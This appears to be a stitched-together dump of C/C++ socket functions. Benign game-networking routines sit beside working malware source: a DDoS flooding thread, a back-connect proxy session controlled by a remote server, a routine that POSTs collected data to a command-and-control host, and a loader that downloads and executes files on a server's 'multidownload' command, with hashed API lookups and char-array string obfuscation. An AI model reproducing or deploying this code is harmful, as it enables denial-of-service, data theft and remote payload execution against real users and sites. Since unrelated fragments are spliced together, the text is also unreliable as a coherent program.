int WINS_CloseSocket(int socket)
{
if (socket == net_broadcastsocket) {
net_broadcastsocket = 0;
}
return pclosesocket(socket);
}
int WINS_OpenSocket(int port)
{
int newsocket;
struct sockaddr_in address;
u_long _true = 1;
if ((newsocket = psocket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
return -1;
}
if (pioctlsocket(newsocket, FIONBIO, &_true) == -1) {
goto ErrorReturn;
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = myAddr;
address.sin_port = htons((unsigned short)port);
if (bind(newsocket, (void *)&address, sizeof(address)) == 0) {
return newsocket;
}
Sys_Error("Unable to bind to %s", WINS_AddrToString((struct qsockaddr *)&address));
ErrorReturn:
pclosesocket(newsocket);
return -1;
}
void DisconnBid( USHORT uBid )
{
pWaitForSingleObject( hThreadMutex, INFINITE );
int k = FindConn( uBid );
if ( k != -1 )
{
ThreadConnection Conn = Connections[ k ];
Connections[ k ].thread_s = INVALID_SOCKET;
if ( Conn.thread_s != INVALID_SOCKET )
{
pshutdown( Conn.thread_s, FD_READ );
pshutdown( Conn.thread_s, SD_SEND );
pclosesocket( Conn.thread_s );
}
dwConnections--;
if ( dwConnections )
{
Connections[ k ] = Connections[ dwConnections ];
}
}
pReleaseMutex( hThreadMutex );
}
SOCKET MyConnect1( char *Host, int Port )
{
LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host );
if ( lpHost == NULL )
{
return -1;
}
SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 );
if( Socket == -1 )
{
return -1;
}
struct sockaddr_in SockAddr;
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list;
SockAddr.sin_port = HTONS( (unsigned short)Port );
if ( (int)pconnect( Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
{
pclosesocket(Socket);
return -1;
}
return Socket;
}
int WIPX_CloseSocket (int handle)
{
int socket = ipxsocket[handle];
int ret;
ret = pclosesocket (socket);
ipxsocket[handle] = 0;
return ret;
}
int WINS_CloseSocket (int socket)
{
#ifdef ID_PC
if (socket == net_broadcastsocket)
net_broadcastsocket = 0;
return pclosesocket (socket);
#else
return 0;
#endif
}
// Функция выполнения многократного подключения к испытуемому сайту
DWORD WINAPI DDOSThreadProc(TDDOS *DDOS)
{
TMemory Buf(1024);
TMemory Referer(256);
DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100;
while (!DDOS->FTerminated)
{
// Создаём сокет
SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0);
if(Socket != SOCKET_ERROR)
{
// Подключаемся к серверу
struct sockaddr_in SockAddr;
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list;
SockAddr.sin_port = HTONS((unsigned short)DDOS->FRequest.Port);
// подключаемся к сокету
if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR )
{
// Генерируем данные
PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount);
string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z');
DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount));
int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr());
int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0);
// Для увеличения нагрузки на сервер пытаемся получить от сервера ответ
if (Sended == Size)
{
Size = (int)precv(Socket, Buf.Buf(), 1024, 0);
}
}
pclosesocket(Socket);
}
// Ждём до следующей отправки
if (!DDOS->FTerminated)
pSleep(SleepInterval);
}
pInterlockedDecrement(&DDOS->FThreadsCount);
return 0;
}
SOCKET NetConnect( char *Host, int Port )
{
int ip = (int)pinet_addr( (const char*)Host );
if ( ip == (int)INADDR_NONE )
{
LPHOSTENT rhost = (LPHOSTENT)pgethostbyname( (const char*)Host );
if ( !rhost )
{
return -1;
}
ip = *(long*)( rhost )->h_addr_list[0];
if ( !ip )
{
return -1;
}
}
SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ( Socket == INVALID_SOCKET )
{
return -1;
}
LINGER l;
l.l_linger = 3;
l.l_onoff = 1;
psetsockopt( Socket, SOL_SOCKET, SO_LINGER, (char*)&l, sizeof( l ) );
struct sockaddr_in SockAddr;
m_memset( &SockAddr, 0, sizeof( SockAddr ) );
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = HTONS( Port );
SockAddr.sin_addr.S_un.S_addr = ip;
if ( (int)pconnect( Socket, (sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
{
pclosesocket( Socket );
return -1;
}
return Socket;
}
DWORD ConnectThread(LPVOID lpParameter)
{
ConnectionData* connData = (ConnectionData*)lpParameter;
if ( (int)pconnect( connData->Socket, (const struct sockaddr*)&connData->SockAddr, sizeof( connData->SockAddr ) ) == SOCKET_ERROR )
{
DWORD err = (DWORD)pGetLastError();
pclosesocket(connData->Socket);
pExitThread(-1);
}
pExitThread(0);
return 0;
}
void KillAllConnections()
{
pWaitForSingleObject( hThreadMutex, INFINITE );
for ( DWORD i = 0; i < dwConnections; i++ )
{
ThreadConnection Conn = Connections[ i ];
pshutdown( Conn.thread_s, FD_READ );
pshutdown( Conn.thread_s, SD_SEND );
pclosesocket( Conn.thread_s );
}
m_memset( &Connections, 0, sizeof( ThreadConnection ) * dwConnections );
dwConnections = 0;
pReleaseMutex( hThreadMutex );
return;
}
int
WIPX_OpenSocket ( int port )
{
int handle;
int newsocket;
struct sockaddr_ipx address;
u_long _true = 1;
for (handle = 0; handle < IPXSOCKETS; handle++)
if (ipxsocket[handle] == 0)
break;
if (handle == IPXSOCKETS)
return -1;
if ((newsocket = psocket (AF_IPX, SOCK_DGRAM, NSPROTO_IPX)) == INVALID_SOCKET)
return -1;
if (pioctlsocket (newsocket, FIONBIO, &_true) == -1)
goto ErrorReturn;
if (psetsockopt(newsocket, SOL_SOCKET, SO_BROADCAST, (char *)&_true, sizeof(_true)) < 0)
goto ErrorReturn;
address.sa_family = AF_IPX;
memset(address.sa_netnum, 0, 4);
memset(address.sa_nodenum, 0, 6);;
address.sa_socket = htons((unsigned short)port);
if( bind (newsocket, (void *)&address, sizeof(address)) == 0)
{
ipxsocket[handle] = newsocket;
sequence[handle] = 0;
return handle;
}
Sys_Error ("Winsock IPX bind failed\n");
ErrorReturn:
pclosesocket (newsocket);
return -1;
}
void InitSession( char *Host, int Port, char *Uid, char *Password )
{
char Buffer[ 1024 ];
int r = 0;
SOCKET Socket = NetConnect( Host, Port );
if ( Socket != INVALID_SOCKET )
{
r = NetRecv( Socket, Buffer, 6 );
if ( r )
{
Buffer[ 6 ] = 0;
if ( !m_lstrncmp( Buffer, "HELLO\n", 6 ) )
{
typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );
_pwsprintfA( Buffer, "%s:%s\n", Uid, Password );
NetSend( Socket, Buffer, m_lstrlen( Buffer ) );
if ( NetRecv( Socket, Buffer, 6 ) )
{
Buffer[ 6 ] = 0;
if ( !m_lstrncmp( Buffer, "READY\n", 6 ) )
{
SessionWork( Socket );
}
}
}
}
pclosesocket( Socket );
}
int WINS_OpenSocket (int port)
{
int newsocket;
struct sockaddr_in address;
u_long _true = 1;
if ((newsocket = psocket (PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
return -1;
if (pioctlsocket (newsocket, FIONBIO, &_true) == -1)
goto ErrorReturn;
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons((unsigned short)port);
if( bind (newsocket, (void *)&address, sizeof(address)) == 0)
return newsocket;
Sys_Error ("bind");
ErrorReturn:
pclosesocket (newsocket);
return -1;
}
void SessionWork( SOCKET Socket )
{
PCONNECTIONS pConnect = (PCONNECTIONS)MemAlloc( sizeof( PCONNECTIONS ) );
m_memset( pConnect, 0, sizeof( PCONNECTIONS ) );
char *Data = NULL;
while ( 1 )
{
if ( !WaitRecv( Socket, 60*60 ) )
{
break;
}
TPkt tPacket;
if ( !NetRecv( Socket, (char*)&tPacket, sizeof( tPacket ) ) )
{
break;
}
if ( tPacket.QType == 0x63 )
{
if ( tPacket.dwLen != 6 )
{
break;
}
if ( Data )
{
MemFree( Data );
}
Data = (char *)MemAlloc( tPacket.dwLen + 1 );
if ( Data == NULL )
{
break;
}
if ( !NetRecv( Socket, Data, tPacket.dwLen ) )
{
break;
}
ManageNewConnection( Socket, *(ULONG*)Data, (USHORT)tPacket.dwReserved, *(USHORT*)&Data[4] );
}
else if ( tPacket.QType == 0x73 )
{
if ( Data )
{
MemFree( Data );
}
Data = (char *)MemAlloc( tPacket.dwLen + 1 );
if ( Data == NULL )
{
break;
}
if ( !NetRecv( Socket, Data, tPacket.dwLen ) )
{
break;
}
BcDecrypt( Data, tPacket.dwLen );
ThreadConnection Conn;
pWaitForSingleObject( hThreadMutex, INFINITE );
int k = FindConn( (USHORT)tPacket.dwReserved );
if ( k != -1 )
{
Conn = Connections[ k ];
NetSend( Conn.thread_s, Data, tPacket.dwLen );
}
pReleaseMutex( hThreadMutex );
}
else if ( tPacket.QType == 0x77 )
{
DisconnBid( tPacket.dwReserved );
}
else if ( tPacket.QType == 0x64 )
{
pclosesocket(Socket);
KillAllConnections();
pExitThread( 1 );
break;
}
else if ( tPacket.QType == 0x65 )
{
}
else
{
break;
}
}
if ( Data )
{
MemFree( Data );
}
pConnect->dwStatus = 1;
}
bool AsyncDownload1( char *Url, LPBYTE *lpBuffer, LPDWORD dwSize )
{
WSADATA wsa;
if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 )
{
return false;
}
char *Host = NULL;
char *Path = NULL;
int Port = 80;
if ( !ParseUrl( Url, &Host, &Path, &Port ) )
{
return false;
}
SOCKET Socket = MyConnect( Host, Port );
if( Socket == -1 )
{
return false;
}
char *UserAgent = NULL;
UserAgent = (char*)MemAlloc( 1024 );
DWORD dwUserSize = 1024;
pObtainUserAgentString( 0, UserAgent, &dwUserSize );
char *query=(char*)MemAlloc(2048);
m_lstrcpy(query,"GET /");
m_lstrcat(query,Path);
m_lstrcat(query," HTTP/1.1\r\nAccept: */* \r\n ");
m_lstrcat(query,"Accept-Language: ru \r\n");
m_lstrcat(query,"UA-CPU: x86 \r\n");
m_lstrcat(query,"Accept-Encoding: gzip, deflate \r\n");
m_lstrcat(query,"User-Agent: ");
m_lstrcat(query,UserAgent);
m_lstrcat(query,"\r\nHost: ");
m_lstrcat(query,Host);
m_lstrcat(query,"\r\nConnection: Close\r\n\r\n\r\n");
bool b = MySend( Socket, (const char *)query, m_lstrlen( query ) );
MemFree( Host );
//MemFree( Path );
MemFree( UserAgent );
MemFree( query );
if ( !b )
{
return false;
}
DWORD dwSizeFile = 0;
char *Buffer = RecvAndParse( Socket, &dwSizeFile );
if ( !Buffer )
{
pclosesocket( Socket );
return false;
}
if ( dwSize )
{
*lpBuffer = (LPBYTE)Buffer;
*dwSize = dwSizeFile;
return true;
}
return false;
}
bool SendTradeInfo( char *Buffer )
{
string Serv = GetActiveHost();
if ( Serv.IsEmpty())
return 0;
char Host[30];
m_lstrcpy( Host, Serv.t_str());
char Script[] = {'/','g','e','t','/','t','r','a','.','h','t','m','l',0};
char Args[] = "id=%s&data=%s";
char Request[] = "POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"Accept: text/html\r\n"
"Connection: Close\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %d\r\n\r\n";
char Uid[100];
GenerateUid( Uid );
char *Data = URLEncode( Buffer );
char *PartReq = (char*)MemAlloc( 1024 );
typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );
if ( PartReq == NULL )
{
return false;
}
_pwsprintfA( PartReq, Args, Uid, Data );
char *Header = (char*)MemAlloc( 1024 );
if ( Header == NULL )
{
MemFree( PartReq );
return false;
}
char *UserAgent = (char*)MemAlloc( 1024 );
DWORD dwUserSize = 1024;
pObtainUserAgentString( 0, UserAgent, &dwUserSize );
_pwsprintfA( Header, Request, Script, Host, UserAgent, m_lstrlen( PartReq ) );
MemFree( UserAgent );
char *SendBuffer = (char*)MemAlloc( m_lstrlen( PartReq ) + m_lstrlen( Header ) + 1 + 2 );
if ( SendBuffer == NULL )
{
MemFree( PartReq );
MemFree( Header );
return false;
}
m_lstrcpy( SendBuffer, Header );
m_lstrcat( SendBuffer, PartReq );
m_lstrcat( SendBuffer, "\r\n" );
MemFree( Header );
MemFree( PartReq );
SOCKET Socket = MyConnect( Host, 80 );
bool Ret = MySend( Socket, (const char *)SendBuffer, m_lstrlen( SendBuffer ) );
pclosesocket( Socket );
MemFree( SendBuffer );
return Ret;
}
bool ReportToPlugin( char *Url )
{
WSADATA wsa;
if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 )
{
return false;
}
char *Host = NULL;
char *Path = NULL;
int Port = 0;
if ( !ParseUrl1( Url, &Host, &Path, &Port ) )
{
return false;
}
char Uid[100];
GenerateUid( Uid );
typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );
char *UserAgent = NULL;
UserAgent = (char*)MemAlloc( 1024 );
DWORD dwUserSize = 1024;
pObtainUserAgentString( 0, UserAgent, &dwUserSize );
if ( UserAgent == NULL )
{
MemFree( UserAgent );
UserAgent = "-";
}
char Request[] = "POST %s HTTP/1.0\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"Accept: text/html\r\n"
"Connection: Close\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %d\r\n\r\n";
char Args[] = "id=";
char *HttpPacket = NULL;
HttpPacket = (char*)MemAlloc( 2048 );
int iTmp;
if (LoadExe!=NULL)
{
iTmp=m_lstrlen(LoadExe);
}else iTmp=9;
pwsprintfA( HttpPacket, Request, Path, Host, UserAgent, m_lstrlen( Args ) + m_lstrlen( Uid )+iTmp );
m_lstrcat( HttpPacket, Args );
m_lstrcat( HttpPacket, Uid );
if (LoadExe==NULL)
{
LoadExe = (char*)MemAlloc(10);
m_lstrncpy(LoadExe,"&plugins=",9);
LoadExe[9]='\0';
}
m_lstrcat( HttpPacket, LoadExe );
SOCKET Socket = MyConnect1( Host, Port );
if( Socket == -1 )
{
return false;
}
bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) );
MemFree( HttpPacket );
if ( !b )
{
return false;
}
DWORD dwSize = 0;
char *Buffer = RecvAndParse( Socket, &dwSize );
if ( !Buffer )
{
pclosesocket( Socket );
return false;
}
char MultiDownloadCommand[]={'m','u','l','t','i','d','o','w','n','l','o','a','d',0};
char *Context;
m_strtok_s( Buffer, "\r\n", &Context );
if ( !m_lstrncmp( Buffer, MultiDownloadCommand, m_lstrlen( MultiDownloadCommand ) ) )
{
char * cPointer= m_strstr(&Buffer[1],"http:");
char* cUrl=Buffer;
char* cUrlNext;
int i;
char *DownloadUrl;
while (true)
{
cUrl= m_strstr(&cUrl[1],"http:");
if (cUrl==NULL)break;
cUrlNext= m_strstr(cUrl,"|");
i=m_lstrlen(cUrl)-m_lstrlen(cUrlNext);
DownloadUrl = (char*)MemAlloc(i)+1;
m_lstrncpy(DownloadUrl,cUrl,i);
DownloadUrl[i]='\0';
if ( DownloadUrl )
{
LoadExe=(char*)MemRealloc(LoadExe,33+m_lstrlen(LoadExe)+1);
m_lstrcat( LoadExe, MD5StrFromBuf(DownloadUrl, STRA::Length(DownloadUrl)).t_str());
m_lstrcat( LoadExe, "|");
WCHAR *FileName =(WCHAR *)GetTempName();
if ( FileName && DownloadUrl )
{
ExecuteFile( DownloadUrl, FileName );
}
MemFree( FileName );
}
MemFree( DownloadUrl );
}
}
MemFree( Buffer );
pclosesocket( Socket );
return true;
}
void CClientSocket::Disconnect()
{
typedef int
(WSAAPI
*setsockoptT)(
IN SOCKET s,
IN int level,
IN int optname,
IN const char FAR * optval,
IN int optlen
);
char UfUQqFY[] = {'s','e','t','s','o','c','k','o','p','t','\0'};
char nZSZGQH[] = {'W','S','2','_','3','2','.','d','l','l','\0'};
setsockoptT psetsockopt=(setsockoptT)GetProcAddress(LoadLibrary(nZSZGQH),UfUQqFY);
typedef int
(WSAAPI
*closesocketT)(
IN SOCKET s
);
char GKGvYsR[] = {'c','l','o','s','e','s','o','c','k','e','t','\0'};
closesocketT pclosesocket=(closesocketT)GetProcAddress(LoadLibrary(nZSZGQH),GKGvYsR);
typedef BOOL
(WINAPI
*CancelIoT)(
__in HANDLE hFile
);
CancelIoT pCancelIo=(CancelIoT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CancelIo");
typedef BOOL (WINAPI *SetEventT)
(
__in HANDLE hEvent
);
SetEventT pSetEvent = (SetEventT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetEvent");
typedef LONG (WINAPI *InterlockedExchangeT)
(
__inout LONG volatile *Target,
__in LONG Value
);
InterlockedExchangeT pInterlockedExchange = (InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"InterlockedExchange");
//
// If we're supposed to abort the connection, set the linger value
// on the socket to 0.
//
LINGER lingerStruct;
lingerStruct.l_onoff = 1;
lingerStruct.l_linger = 0;
psetsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) );
pCancelIo((HANDLE) m_Socket);
pInterlockedExchange((LPLONG)&m_bIsRunning, false);
pclosesocket(m_Socket);
pSetEvent(m_hEvent);
m_Socket = INVALID_SOCKET;
}
char *GetInfoFromBcServer( char *Url )
{
WSADATA wsa;
if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 )
{
return false;
}
char *Host = NULL;
char *Path = NULL;
int Port = 0;
if ( !ParseUrl( Url, &Host, &Path, &Port ) )
{
return false;
}
typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );
char Request[] = "GET %s HTTP/1.0\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"Connection: close\r\n\r\n";
char *HttpPacket = (char*)MemAlloc( 1024 );
if ( HttpPacket == NULL )
{
return false;
}
char *UserAgent = (char*)MemAlloc( 1024 );
DWORD dwUserSize = 1024;
pObtainUserAgentString( 0, UserAgent, &dwUserSize );
_pwsprintfA( HttpPacket, Request, Path, Host, UserAgent );
SOCKET Socket = MyConnect( Host, Port );
if ( Socket == INVALID_SOCKET )
{
MemFree( HttpPacket );
return NULL;
}
bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) );
MemFree( HttpPacket );
if ( !b )
{
return NULL;
}
DWORD dwSize = 0;
char *Buffer = RecvAndParse( Socket, &dwSize );
pclosesocket( Socket );
return Buffer;
}